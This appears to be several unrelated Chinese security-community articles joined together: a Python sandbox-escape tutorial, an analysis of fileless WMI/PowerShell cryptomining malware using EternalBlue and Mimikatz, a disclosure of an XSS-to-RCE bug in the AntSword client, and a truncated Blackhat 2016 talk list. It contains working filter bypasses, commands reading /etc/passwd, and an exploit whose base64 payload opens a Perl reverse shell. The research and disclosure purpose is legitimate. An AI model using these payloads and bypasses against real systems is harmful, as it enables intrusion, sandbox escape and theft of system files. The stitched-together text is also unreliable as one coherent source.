对于攻击者来说,改如何绕过呢,必须使用其他的引入方式
1. import 关键字
2. __import__函数
3. importlib库
import 是一个关键字,因此,包的名字是直接以
'tag'(标记)的方式引入的,但是对于函数和包来说,引入的包的名字就是他们的参数,也就是说,将会以字符串的方式引入
我们可以对原始关键字做出种种处理来bypass掉源码扫描
以__import__函数举例
f3ck = __import__("pbzznaqf".decode('rot_13'))
print f3ck.getoutput('ifconfig')
enp9s0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether f0:xx:1c:xx:xx:71 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 822 bytes 735401 (718.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 822 bytes 735401 (718.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
可以看到,成功的执行了命令
或者使用importlib 这一个库
import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13')
print f3ck.getoutput('ifconfig')
将获得同样的效果
# 0x02 import进阶
在python中,我们知道,不用引入直接使用的内置函数称为 **builtin** 函数,随着`__builtin__`这一个module
自动被引入到环境中
(在python3.x 版本中,`__builtin__`变成了`builtins`,而且需要引入)
因此,`open()`,`int()`,`chr()`这些函数,就相当于
__builtin__.open()
__builtin__.int()
__builtin__.chr()
如果我们把这些函数从`__builtin__`中删除,那么就不能够再直接使用了
In [6]: del __builtin__.chr
In [7]: chr(1)
--------------------------------------------------------------------------- NameError Traceback (most recent call last)
<ipython-input-7-288f58b79c7d> in <module>()
----> 1 chr(1)
NameError: name 'chr' is not defined
同样,刚才的`__import__`函数,同样也是一个builtin函数,同样,常用的危险函数`eval`,`exec`,`execfile`也是`__builtin__`的,因此只要从`__builtin__`中删除这些东西,那么就不能再去使用了
**但是攻击者岂能善罢甘休,必然会找出各种绕过的方式,这种防御,我们该如何去绕过呢?**
我们知道,`__builtin__`是一个默认引入的module
对于模块,有一个函数`reload`用于重新从文件系统中的代码来载入模块
因此我们只需要
reload(__builtin__)
就可以重新得到完整的`__builtin__`模块了
**但是,`reload`也是`__builtin__`下面的函数,如果直接把它干掉,就没办法重新引入了
In [8]: del __builtin__.reload
In [9]: reload
--------------------------------------------------------------------------- NameError Traceback (most recent call last)
<ipython-input-9-5da994700066> in <module>()
----> 1 reload
NameError: name 'reload' is not defined
这个时候,我们该怎么呢
在python中,有一个模块叫做imp,是有关引入的一个模块
我们可以使用
import imp
imp.reload(__builtin__)
然后我们就会重新得到完整的`__builtin__`模块了
# 0x03 import高级
前面的一些防护和攻击,都是针对
引入函数进行的，然而，彻底想想这个关于import的问题，我们能引入进来一个包，说明这个包已经预先在一个位置了，所以我们才能引入进来，否则就会像没有安装这个包的时候，报一个未找到的错误
如果我们从某个地方彻底把这个包删除，那就可以禁止了引入
那么，包的内容被存放在哪里呢？
我们知道，通过pip安装的package都会被放在以下几个路径之一,以2.7为例
/usr/local/lib/python2.7/dist-packages
/usr/local/lib/python2.7/site-packages
~/.local/lib/python2.7/site-packages
一般系统相关的包都在sys下,环境变量或者说系统路径肯定也是在下面.
我们可以看到sys下面有一个list叫做path,查看里面的内容,果然是默认路径
In [8]: sys.path
Out[8]:
['',
'/usr/local/bin',
'/usr/lib/python2.7',
'/usr/lib/python2.7/plat-x86_64-linux-gnu',
'/usr/lib/python2.7/lib-tk',
'/usr/lib/python2.7/lib-old',
'/usr/lib/python2.7/lib-dynload',
'/home/centurio/.local/lib/python2.7/site-packages',
'/usr/local/lib/python2.7/dist-packages',
'/usr/lib/python2.7/dist-packages',
'/usr/lib/python2.7/dist-packages/gtk-2.0',
'/usr/lib/python2.7/dist-packages/IPython/extensions']
我们还可以看到,sys下面有一个modules,看一下这个
{'copy_reg': <module 'copy_reg' from '/usr/lib/python2.7/copy_reg.pyc'>, 'sre_compile': <module 'sre_compile' from '/usr/lib/python2.7/sre_compile.pyc'>, '_sre': <module '_sre' (built-in)>, 'encodings': <module 'encodings' from '/usr/lib/python2.7/encodings/__init__.pyc'>, 'site': <module 'site' from '/usr/lib/python2.7/site.pyc'>, '__builtin__': <module '__builtin__' (built-in)>, 'sysconfig': <module 'sysconfig' from '/usr/lib/python2.7/sysconfig.pyc'>, 'encodings.encodings': None, '__main__': <module '__main__' (built-in)>, 'ruamel': <module 'ruamel' (built-in)>, 'abc': <module 'abc' from '/usr/lib/python2.7/abc.pyc'>, 'posixpath': <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>, '_weakrefset': <module '_weakrefset' from '/usr/lib/python2.7/_weakrefset.pyc'>, 'errno': <module 'errno' (built-in)>, 'encodings.codecs': None, 'sre_constants': <module 'sre_constants' from '/usr/lib/python2.7/sre_constants.pyc'>, 're': <module 're' from '/usr/lib/python2.7/re.pyc'>, '_abcoll': <module '_abcoll' from '/usr/lib/python2.7/_abcoll.pyc'>, 'types': <module 'types' from '/usr/lib/python2.7/types.pyc'>, '_codecs': <module '_codecs' (built-in)>, 'encodings.__builtin__': None, '_warnings': <module '_warnings' (built-in)>, 'genericpath': <module 'genericpath' from '/usr/lib/python2.7/genericpath.pyc'>, 'stat': <module 'stat' from '/usr/lib/python2.7/stat.pyc'>, 'zipimport': <module 'zipimport' (built-in)>, '_sysconfigdata': <module '_sysconfigdata' from '/usr/lib/python2.7/_sysconfigdata.pyc'>, 'mpl_toolkits': <module 'mpl_toolkits' (built-in)>, 'warnings': <module 'warnings' from '/usr/lib/python2.7/warnings.pyc'>, 'UserDict': <module 'UserDict' from '/usr/lib/python2.7/UserDict.pyc'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/lib/python2.7/encodings/utf_8.pyc'>, 'sys': <module 'sys' (built-in)>, 'codecs': <module 'codecs' from '/usr/lib/python2.7/codecs.pyc'>, 'readline': <module 'readline' from '/usr/lib/python2.7/lib-dynload/readline.x86_64-linux-gnu.so'>, '_sysconfigdata_nd': <module '_sysconfigdata_nd' from '/usr/lib/python2.7/plat-x86_64-linux-gnu/_sysconfigdata_nd.pyc'>, 'os.path': <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>, 'phply': <module 'phply' (built-in)>, '_locale': <module '_locale' (built-in)>, 'sitecustomize': <module 'sitecustomize' from '/usr/lib/python2.7/sitecustomize.pyc'>, 'signal': <module 'signal' (built-in)>, 'traceback': <module 'traceback' from '/usr/lib/python2.7/traceback.pyc'>, 'linecache': <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>, 'posix': <module 'posix' (built-in)>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/lib/python2.7/encodings/aliases.pyc'>, 'exceptions': <module 'exceptions' (built-in)>, 'sre_parse': <module 'sre_parse' from '/usr/lib/python2.7/sre_parse.pyc'>, 'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>, '_weakref': <module '_weakref' (built-in)>}
果然,这个就是我们要找的东西了,接下来,我们对`sys.modules`做一些改动,看看还能否引入
>>> sys.modules['os']=None
>>> import os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named os
>>> __import__('os')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named os
>>> import importlib
>>> importlib.import_module('os')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "importlib/__init__.py", line 37, in import_module
__import__(name)
ImportError: No module named os
果然如我们所料,将os从`sys.modules`中删掉之后,就不能再引入了
那攻击者该如何应对呢?
> Python import 的步骤
> python 所有加载的模块信息都存放在 sys.modules 结构中，当 import 一个模块时，会按如下步骤来进行
> 如果是 import A，检查 sys.modules 中是否已经有 A，如果有则不加载，如果没有则为 A 创建 module 对象，并加载 A
> 如果是 from A import B，先为 A 创建 module 对象，再解析A，从中寻找B并填充到 A 的 **dict** 中
见招拆招,你删掉了,我加回来就是了,如果`sys.modules`中不存在,那么会自动加载,我们把路径字符串放进去试一试?
在所有的类unix系统中,Python的os模块的路径几乎都是`/usr/lib/python2.7/os.py`中
>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>
果然,我们亲爱的os又回来了!
# 0x04 有关 import 的更骚的操作
对于0x03中的绕过方法,防御者有什么办法呢
添加module的过程中,是需要用到`sys`模块的 ,如果我们把sys,os,reload全部干掉,那就无论如何也再无法引入了
这个时候,还有办法bypass掉防御吗?
有的!
我们知道,引入模块的过程,其实总体来说就是把对应模块的代码执行一遍的过程
禁止了引入,我们还是可以执行的,我们知道了对应的路径,我们就可以执行相应的代码
尝试一下:
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'
可以看到,成功了!
os的所有函数都被直接引入到了环境中,直接执行就可以了
如果`execfile`函数被禁止,那么还可以使用文件操作打开相应文件然后读入,使用exec来执行代码就可以
**还有防御的办法吗?**
如果防御者一不做二不休直接从文件系统中把相应的包的代码删掉,那无论如何既不能引入也不能执行了
然而,对于其他模块,我们还可以手动复制代码直接执行,但是对于类似于 `os`,`sys`这样的模块,使用了c模块,使用posix或者nt
module来实现,而不是纯python代码,那就没有太多的办法了
但是总体来说,直接从文件系统中干掉这些关键的包是一个很危险的行为,可能导致依赖于这些包的其他包的崩溃,而事实上,大量的模组都使用了类似于
os,sys这些模块,因此,是需要非常谨慎的.
# 0x05 dir 与 __dict__
这两种方法都是一个目的,那就是列出一个模组/类/对象 下面 所有的属性和函数
这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西
>>> A.__dict__
mappingproxy({'b': 'asdas', '__dict__': <attribute '__dict__' of 'A' objects>, 'a': 1, '__doc__': None, '__weakref__': <attribute '__weakref__' of 'A' objects>, 'c': <function A.c at 0x7f18ea25e510>, '__module__': '__main__'})
>>> dir(A)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'a', 'b', 'c']
# 0x05 关于字符串扫描过滤的通用绕过方法
如果过滤的内容是一个dict的key,我们可以用字符串操作,先把他rot13或者base64或者单纯的reverse一下再进去就可以,举个例子
# 假设要读取 a的time属性 : a['time'] ,但是代码中的time字符串全部被过滤了
s = "emit"
s = s [::-1]
print a[s]
即可
**但是**
,如果不是键的字符串被过滤了,而是一个关键字或者函数被过滤了呢,比如说,我们已经通过上面的手法,引入了os包,但是代码扫描之中,遇到system或者popen的就直接过滤了,这时候该怎么办呢
关键词和函数没有办法直接用字符串相关的编码或者解密操作,那么.该怎么办呢?
这个时候,就可以利用一个很特殊的函数:`getattr`
这个函数接受两个参数,一个模组或者对象,第二个是一个字符串,该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性
>>> import codecs
>>> getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')
enp9s0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether xx:xx:xx:xx:xx:xx txqueuelen 1000 (Ethernet)
RX packets 168876 bytes 213748060 (203.8 MiB)
RX errors 0 dropped 538 overruns 0 frame 0
TX packets 126938 bytes 14769612 (14.0 MiB)
TX errors 0 dropped 1 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 38391 bytes 17726297 (16.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 38391 bytes 17726297 (16.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
# 0x06 获得本域或者模块的引用和全部内容
在上面的一个例子中,引入sys然后从`sys.modules`中清除敏感包的时候,如果没有做善后工作,很可能就让sys,os或者其他的敏感信息作为一个模块留在了当前域的环境变量中,也可能有其他的东西,但我们去如何发现这些东西呢?
我们可以利用dir或者 **dict** 属性去获得一个模块,类的所有属性,但是当前环境的已定义的函数又从哪找呢
我们知道,使用python直接执行的模块是`__main__`模块,使用`__name__`属性也可以知道（`if __name__ ==
__main__'`），但是`__name__`中获得的只是一个字符串,并不是一个模块的引用，那么我们从哪去找本模块的引用呢？
注意，本模块，它也是一个模块，因此想到我们的老朋友`sys.modules`
可以通过`sys.modules[__name__]`
>>> main_module = sys.modules[__name__]
>>> dir(main_module)
['A', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'codecs', 'fuck', 'inspect', 'main_module', 'os', 'reprlib', 'sys', 'this']
可以看到已定义的全部的函数和变量,已经引入的模块和类
# 0x07 func_code 相关
一个系统中的包(自带的和通过pip,ea可以使用easy_install安装的),可以使用inspect模块中的方法可以获取其源码
但是,如果是项目中的函数,一旦加载到了内存之中,就不再以源码的形式存在了,而是以字节码的形式存在了,如果我们想要知道这些函数中的一些细节怎么办呢?这个时候就需要用到函数中的一个特殊属性:func_code
(其实,函数中有很多以func_ 开头的属性,都有着奇妙的用处,在此处就不过多介绍了)
In [21]: def f3ck(asd):
...: a = 1
...: b = "asdasd"
...: c= ["asd",1,None,{'1':2}]
...:
In [22]: f3ck.func_code
Out[22]: <code object f3ck at 0x7fc34444b930, file "<ipython-input-21-19425d1f6eea>", line 1>
我们定义了一个函数,然后查看它的func_code属性,发现 它的类型是 code object ,也就是代码对象
这个对象中有什么呢
In [23]: dir(f3ck.func_code)
Out[23]:
['__class__', '__cmp__', '__delattr__','__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__','__le__','__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__','__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount','co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno','co_flags','co_freevars', 'co_lnotab','co_name', 'co_names', 'co_nlocals','co_stacksize', 'co_varnames']
其中
In [24]: f3ck.func_code.co_argcount
Out[24]: 1
In [26]: f3ck.func_code.co_consts
Out[26]: (None, 1, 'asdasd', 'asd', 2, '1')
可以看到,函数中直接赋值的变量都在 co_consts属性中
而co_code中则是python bytecode
使用dis.dis可以将co_code中的字节码转化成可阅读的汇编格式字节码,
In [30]: import dis
In [31]: dis.dis(f3ck.func_code.co_code)
0 LOAD_CONST 1 (1)
3 STORE_FAST 1 (1)
6 LOAD_CONST 2 (2)
9 STORE_FAST 2 (2)
12 LOAD_CONST 3 (3)
15 LOAD_CONST 1 (1)
18 LOAD_CONST 0 (0)
21 BUILD_MAP 1
24 LOAD_CONST 4 (4)
27 LOAD_CONST 5 (5)
30 STORE_MAP
31 BUILD_LIST 4
34 STORE_FAST 3 (3)
37 LOAD_CONST 0 (0)
40 RETURN_VALUE
至于阅读python字节码,那又是一个大坑了0.0,再次不多提,只是说一下它的获取途径
# 0x08 mro相关的操作
mro是什么呢?
首先,我们要理解python的继承机制,与java等语言不同,python允许多重继承, **也就是有多个父类**
mro方法就是这个类型所继承的父类的列表
In [52]: 1..__class__.__mro__
Out[52]: (float, object)
In [53]: "".__class__.__mro__
Out[53]: (str, basestring, object)
(注意是类型,而不是类型的实例)
通过这种方法,我们可以得到一些类型的对象,这个对于一些限制极严的情况下有很大的用处,
比如说open以及其他文件操作的函数和类型被过滤了的情况下我们可以使用如下的方法来打开文件
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
比如说jinja2的模板中,环境变量中的很多builtin的类型是没有的,就可以用绑定的变量的mro特性做很多事情
# 0x08 有关python中的伪Private属性和函数
在java,c++等其他一些面向对象的语言中,有着严格的访问权限控制,Private函数是不可能在域外访问的.
python中也有着类似的机制:
在一个类中,以双下划线开头的函数和属性是Private的,但是这种Private并不是真正的,而只是形式上的,用于告诉程序员,这个函数不应该在本类之外的地方进行访问,而是否遵守则取决于程序员的实现
In [85]: class A():
...: __a = 1
...: b = 2
...: def __c(self):
...: print "asd"
...: def d(self):
...: print 'dsa'
...:
In [86]: A
Out[86]: <class __main__.A at 0x7fc3444048d8>
In [87]: dir(A)
Out[87]: ['_A__a', '_A__c', '__doc__', '__module__', 'b', 'd']
我们定义了一个private 属性和一个private的函数,从dir的结果,可以看出来,公有的函数和属性,使用其名字直接进行访问,而私有的属性和函数,使用
`下划线+类名+函数名`访问即可
# 0x09 常见的实战应用场景
### 直接的代码环境
常见的就是各种提供在线代码运行的网站,还有一些虚拟环境,以及一些编程练习网站,这种来说一般过滤较少,很容易渗透,但是getshell之后会相当麻烦,大多数情况下这类网站的虚拟机不仅与物理系统做了隔离还删除了很多内网渗透时实用的工具比如ifconfig之类的,后渗透工作相当的费工夫
### 提供的python交互式shell
这种情况较为少见,但是总体来说根据业务场景的不同一般会做很多的限制,但总体来说还是比较容易突破防御的
### SSTI
SSTI的情况下,模板的解析就是在一个被限制的环境中的
在flask框架动态拼接模板的时候,使用沙盒逃逸是及其致命的,flask一般直接部署在物理机器上面,getshell可以拿到很大的权限. | 社区文章 |
近一段时间，千里目安全实验室EDR安全团队持续收到大量企业用户反馈，其内网很多服务器存在卡顿和外联异常IP等现象。经过我们深入挖掘，发现这是利用WMI+Powershell方式实现的无文件攻击行为，其目的是长驻内存挖矿。由于此攻击没有本地落地文件，难以察觉，企业利益默默受到侵害。
此流行病毒，除了具备无文件攻击等高级攻击特性，还内置两种横向传染机制，分别为Mimikatz+WMIExec自动化爆破和MS17-010“永恒之蓝”漏洞攻击，堪称火力全开，极易在局域网内迅猛扩散。
**0x01 攻击场景**
此次攻击，具备无文件攻击特性，所有模块功能均加载到内存中执行，没有本地落地文件。为了迅速在内网传播，采用了SMB弱口令爆破攻击和“永恒之蓝”漏洞攻击，二者只要有一种能成功，就可以横向感染到其它主机。
如上图，原始病毒体为info*.ps1（64位系统对应info6.ps1，32位系统对应info3.ps1）,其为Powershell脚本，被加载后内存存在4个模块，分别为挖矿模块、Minikatz模块、WMIExec模块、MS17-010攻击模块。
攻击顺序如下：
1.首先，挖矿模块启动，持续进行挖矿。
2.其次，Minikatz模块对目的主机进行SMB爆破，获取NTLMv2数据。
3.然后，WMIExec使用NTLMv2绕过哈希认证，进行远程执行操作，攻击成功则执行shellcode使病原体再复制一份到目的主机并使之运行起来，流程结束。
4.最后，如WMIExec攻击失败，则尝试使用MS17-010“永恒之蓝”漏洞攻击，攻击成功则执行shellcode使病原体再复制一份到目的主机并使之运行起来（每感染一台，重复1、2、3、4）。
此病毒采用的是WMI+Powershell的内存驻留方式，模块以服务形式存在，每5600秒可自动触发一次。
**0x02下载更新**
此PowershellMiner，做了一个操作系统适配和Minikatz数据更新机制。如下图，感染主机病原体为info*.ps1（可能为info6.ps1,也可能为info3.ps1）。
如果为info6.ps1，则运行起来后会判断操作系统是否为64位的，若不是，则下载info3.ps1并替换执行。
同理，如果为info3.ps1，则运行起来后会判断操作系统是否为32位的，若不是，则下载info6.ps1。
此外，为最大程度的完成SMB爆破效果，Minikatz模块也会主动去下载最新的数据载荷（应是配置和密码字典之类的数据）。
**0x03 横向感染**
感染主机除了自身会挖矿，同时会横向感染内网其它主机。如下图（病毒源代码），使用Minikatz获取目的主机$NTLM，执行WMIExec攻击（$NTLM作为输入）。
如果WMIExec执行失败，则尝试使用MS17-010“永恒之蓝”攻击（双保险）。
此次攻击，WMIExec攻击体和MS17-010攻击体均为Powershell脚本，Minikatz为二进制程序。
**0x04 无文件挖矿**
首先，此Powershell挖矿不是独立的进程，也没有对应的文件。直观上看，一是主机性能卡，二是存在Powershell宿主进程。
如下图（来源于企业真实环境），主机存在Powershell进程，CPU占有率持续高达87.33%。
我们从内存截取的数据，证明此病毒会尝试连入世界各大矿池地址，主要为欧美及亚太地区。另外，这次挖矿币种为门罗币，也有黑客钱包地址。
我们分析病原体，其挖矿是通过Powershell脚本调用WMI二进制载荷实现的。
另外，为了利益最大化，此病毒还会尝试干掉其它挖矿进程（同行竞争压力大啊，稍有不慎就被干掉了！）。
截止发稿，此钱包账号已入账3.27968666个币。
**0x05 解决方案**
1、隔离感染主机：已中毒计算机尽快隔离，关闭所有网络连接，禁用网卡。
2、切断传播途径：关闭潜在终端的SMB 445等网络共享端口，关闭异常的外联访问。
3、查找攻击源：借助安全感知类产品定位攻击源。
4、查杀病毒：查杀比较简单，使用Autoruns工具（微软官网可下），选择WMI，如下图，将该WMI启动项删除（该项底部详细栏有“SELECT * FROM
__InstanceModificationEvent WITHIN 5600”）。
然后，打开“任务管理器”，将Powershell宿主进程杀掉即可。
5、修补漏洞：打上“永恒之蓝”漏洞补丁，请到微软官网，下载对应的漏洞补丁（<https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx）。>
6、修改密码：如果主机账号密码比较弱，建议重置高强度的密码。 | 社区文章 |
# 蚁剑客户端RCE挖掘过程及源码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Author:evoA[@Syclover](https://github.com/Syclover "@Syclover")
## 前言：
事情的起因是因为在一次面试中，面试官在提到我的CVE的时候说了我的CVE质量不高。简历里那几个CVE都是大一水过来的，之后也没有挖CVE更别说高质量的，所以那天晚上在我寻思对哪个CMS下手挖点高质量CVE的时候，我盯上了蚁剑并挖掘到了一枚RCE，虽然漏洞的水平并不高但是思路和过程我觉得值得拿来分享一下。
## Electron
Electron是由Github开发，用HTML，CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。
Electron通过将Chromium和Node.js合并到同一个运行时环境中，并将其打包为Mac，Windows和Linux系统下的应用来实现这一目的。
简而言之，只要你会HTML，CSS，Javascript。学习这门框架，你就能跨平台开发桌面应用程序，像VSCode，Typora，Atom，Github
Desktop都是使用Electron应用进行跨平台开发。虽然Electron十分简单方便，但是我认为其存在很严重的安全问题
## 第一个蚁剑的洞
面完的当晚我正对着github的开源项目发呆，准备寻找一些开源项目进行审计，却不知不觉的逛到了历史记录蚁剑的项目，当我准备关闭的时候，一行说明引起了我的注意
我发现蚁剑是使用Electron进行开发的，这就说明了我可以进行Electron应用的漏洞挖掘，于是我抱着试试看的运气打开了蚁剑，并在最显眼的位置输
成功XSS！由于蚁剑用Electron开发，当前程序的上下文应该是node，于是我们可以调用node模块进行RCE
poc:
<img src=# onerror="require('child_process').exec('cat /etc/passwd',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});">
## 另三个洞
成功RCE，那天晚上在和Smi1e师傅吹水[@Smi1e](https://github.com/Smi1e
"@Smi1e")，跟他聊到这个后，他发现shell管理界面也没有任何过滤
以上三个点都可以XSS造成RCE，poc和上面一样，就不做演示了，于是我把这些洞交了issue
但是结果是
被官方评为self-xss了，很难受，虽然蚁剑有1000个star，但是这个洞确实比较鸡肋，唯一可以利用的方式只有把自己的蚁剑传给别人让别人打开，这在实战中几乎是不可能的事情。
注：这四个洞所填的数据在电脑上是有储存的，位置在~/蚁剑源码目录/antData/db.ant文件中以JSON格式进行存储
所以理论上如果能替换别人电脑上的此文件也能造成RCE（但是都能替换文件内容了为什么还要这个方法来RCE干嘛）就很鸡肋
## 真-RCE的发现
就在我一筹莫展的时候，我随便点了一个shell
！！！！！！！！
虽然我以前从来不看报错，但在这个时候我十分敏感的觉得这个报错信息肯定有我可控的点，大概看了一番，发现这么一句话
这不就是HTTP的状态码和信息吗，要知道http协议状态码是可以随意更改的，并且状态信息也可以自定义，并不会导致无法解析，于是我在我的机子进行实验
<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');
喜提一枚X (R) S (C) S (E) 漏洞，当然这只是poc，并不能执行命令。下面是我的exp
<?php
header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>");
?>
base64是因为引号太多了很麻烦，只能先编码在解码eval。解码后的代码
require('child_process').exec('perl -e 'use Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
双击shell后
并且在蚁剑关闭后这个shell也不会断
## 源码分析
这是官方修复我第一个Self-xss的代码改动
更新后在目录输出这个位置使用了noxss函数进行输出，全局查找noxss函数
函数的作用很明显，把& < > “替换为实体字符，默认也替换换行。所以我们在新版本构造的exp会失效
并且作者在大部分的输出点都做了过滤
几乎界面的所有输出都做了过滤，那为什么在我们的连接错误信息中没有过滤呢。于是我准备从源码层面上分析原因。由于错误信息是在连接失败的时候抛出，所以我怀疑输出点是http连接时候的错误处理产生的输出，所以先全局查找http的连接功能或函数，由于http连接一般属于核心全局函数或类。我先从入口文件app.js看起。（通过package.json配置文件的main值知道入口文件是app.js）
入口文件一共就80行，在最末尾入口文件引入了6个文件，其中的request十分明显肯定是发起网络请求的文件，跟进分析。
开头的注释就表示了这个文件就是专门发起网络请求的函数文件，在第13行，发现这个文件引入了一个模块superagent，这是一个node的轻量级网络请求模块，类似于python中的requests库，所以可以确定此函数使用这个库发起网络请求，追踪superagent变量
在104行发现，新建了一个网络请求，并且将返回对象赋予_request参数，从94行的注释也能发现这里应该实现的应该给是发起网络请求的功能，所以从这里开始追踪_request变量。
从123行到132行是发网络请求，并且151行，当产生错误的时候会传递一个request-error错误，并且传递了错误信息，并且之后的代码也是相同的错误处理，于是全局搜索request-error。
很明显，跟进base.js
这里定义了一个request函数，封装好了http请求，在监听到request-error-事件的时候会直接返回promise的reject状态，并且传递error信息，ret变量就是上面传递过来的err,
rej就是promise的reject，不懂promise的可以去看看promise。然后由之后调用此request函数的catch捕获。所以全局搜索request函数
在搜索列表里发现有database,filemanager,shellmanager等文件都调用了request函数，由于蚁剑的shell先会列目录文件，所以第一个网络请求可能是发起文件或目录操作，而我们的错误信息就是在第一次网络请求后面被输出，所以跟进filemanager
在140行注释发现了获取文件目录的函数，审计函数
在166行发现了调用了request函数，204行用catch捕获了前面promise的reject，并且将err错误信息json格式化并传递给toastr.error这个函数。toastr是一款轻量级的通知提示框Javascript插件，下面是这个插件的用法
看看上面蚁剑输出的错误信息，是不是发现了点什么。
这个插件在浏览器里面也是默认不会进行xss过滤的。由于错误信息包含了http返回包的状态码和信息，所以我们构造恶意http头，前端通过toastr插件输出即可造成远程命令执行。
## 总结
由于http的错误信息输出点混杂在了逻辑函数中，相当于控制器和视图没有很好地解耦，开发者虽然对大部分的输出点进行的过滤，但是由于这个输出点比较隐蔽且混淆在的控制层，所以忽略了对此报错输出的过滤，并且错误信息是通过通知插件输出，更增加了输出的隐蔽性。开发人员在使用类似插件的时候应该了解插件是否对这类漏洞做了过滤，不能过度信赖第三方插件，并且在编写大型项目的时候，视图层和控制层应该尽可能的分离，这样才能更好进行项目的维护。
对于electron应用，开发者应该了解xss的重要性，electron应用的xss是直接可以造成系统RCE的，对于用户可控输出点，特别是这种远程可控输出点，都必须进行过滤。 | 社区文章 |
# Blackhat2016第二天部分精彩议题介绍（含PPT下载）
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
blackhat usa 2016第二天的议题
想下载PPT的来这里
官方下载地址：<https://www.blackhat.com/us-16/briefings.html>
国内镜像地址：<http://yunpan.cn/c6egtYI6ceHbQ> （提取码：f816）
**议题： WINDOWS 10 MITIGATION IMPROVEMENTS (Windows 10的利用缓解的改善)**
演讲者的照片和介绍
演讲内容：
在过去10年里，微软一直在改善安全，使得有效的漏洞利用越来越难，花费的时间和金钱也越来越高。在这个议题，演讲者会讲到微软采用新方法来跟踪软件安全以及微软在最新win10操作系统中推出的新的缓解措施。议题中会讲到微软通过大数据来分析在野的exploit，明白和分析漏洞类型，exploit所使用的逃逸技术和利用技术。也会介绍微软的"TeadTeam"，模拟端到端的攻击，比如漏洞发现，利用工具的编写，缓解绕过等。最后会介绍win10的内核64为ASLR改善以及AppContainer概念。
**
**
**议题： WHEN GOVERNMENTS ATTACK: STATE SPONSORED MALWARE ATTACKS AGAINST
ACTIVISTS LAWYERS AND JOURNALISTS (阻击针对活动人士/律师/记者的政府性质的恶意软件攻击)**
演讲者的照片和介绍
[](https://www.blackhat.com/us-16/speakers/Cooper-Quintin.html)
演讲内容：
